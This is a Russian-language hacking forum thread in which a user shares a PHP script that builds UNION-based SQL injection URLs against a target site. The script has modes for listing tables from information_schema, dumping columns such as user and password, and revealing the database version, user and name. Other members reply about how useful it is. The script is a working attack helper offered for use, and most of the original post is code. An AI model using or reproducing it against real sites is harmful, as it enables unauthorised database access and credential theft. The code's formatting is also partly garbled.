Удобный скрипт для sql-inj

Discussion in 'PHP' started by gisTy, 3 Jul 2008.

  1. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    PHP:
    Удобный скрипт для sql-inj[/b]

    Иногда бывает, что при работе с sql-инъекциями таблица содержит большое количество колонок (например 150) и вводить руками это будет сложновато.. поэтому написал для себя скрипт облегчающий задачу... 
    [php]<?php
    $host 
    'www.site.com'#adress attacking of server (www.site.com)
    $path 'index.php?id='#path to vulnerabity script with injection argument (shop/shop.php?id=)
    $rows 9#number of rows
    $printrow 5#printable row
    $mode 'stat'#inform - dump information from information_schema; dump - dump information from interesting table; stat - information about MySQL-server (version(), user(), database())
    $columns 'user,0x3a,password'#name of interesting columns, separated with 0x3a
    $database 'user'#name of interesting
    $end '/*'#end of query ('/*' or '--')

    $query "$host/$path-1+union+select+";
    switch (
    $mode)
    {
        case 
    "inform":
            for(
    $i=1;$i<$rows+1;$i++) {
                if(
    $i==$printrow) {
                    
    $query .= 'concat(0x7c3a7c3a,table_name,0x3a7c3a7c),';
                } elseif(
    $i==$rows) {
                    
    $query .= $i;
                } else {
                    
    $query .=  $i.',';
            }
            
        }
        
    $query .= "+from+information_schema.tables";
        break;
        
        case 
    "dump":
            for(
    $i=1;$i<$rows+1;$i++) {
                if(
    $i==$printrow) {
                    
    $query .= 'concat(0x7c3a7c3a,'.$columns.'),';
                } elseif(
    $i==$rows) {
                    
    $query .= $i;
                } else { 
                    
    $query .= $i.',';
                }
            }
        
    $query .= "+from+$database";
        break;

        case 
    "stat":
                    for(
    $i=1;$i<$rows+1;$i++) {
                if(
    $i==$printrow) {
                    
    $query .= 'concat(0x7c3a7c3a,version(),0x3a3a,user(),0x3a3a,database(),0x3a7c3a7c),';
                } elseif(
    $i==$rows) {
                    
    $query .= $i;
                } else {
    написал
                    $query 
    .=  $i.',';
            }
        }
        break;
    }
    $query .= $end;
    echo 
    "$query\n";
    ?>
    внутри скрипта описано для чего, что и как используется.. юзайте наздоровье=)
     
    #1 gisTy, 3 Jul 2008
    Last edited: 3 Jul 2008
    3 people like this.
  2. FraiDex

    FraiDex Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    193
    Likes Received:
    68
    Reputations:
    -11
    честно, ничего здесь полезного не вижу, можно и вручную всё это сделать без особого напряга. Развивай скрипт, добавляй чё-нить интересное и полезное. А пока ток +1
     
  3. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    ну вообще то это часть программы.. просто выложил в паблик, а вот на счет руками - например 150 колонок руками запаришься набирать...=)
     
  4. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    на форуме есть как программа, так и скрипт по данной теме с гораздо бОльшим функционалом
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    perl для этого более подходит...
     
  6. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    2 Piflit, сейчас сижу под никсами без вайна, пожтому юзат SIPT 4 не вариант, к тому же учу php, вот и написал под себя скрипт и решил тут выложить.. а что за скрипт? выложил бы урл хотябы=)
    2 [ cash ], пока до перла не добрался еще.. потом как нть выучуч и его..
     
  7. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    а скрипт весь сам писал или использовал другие скрипты?
     
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    сам, так как учусь и интересно самому все сделать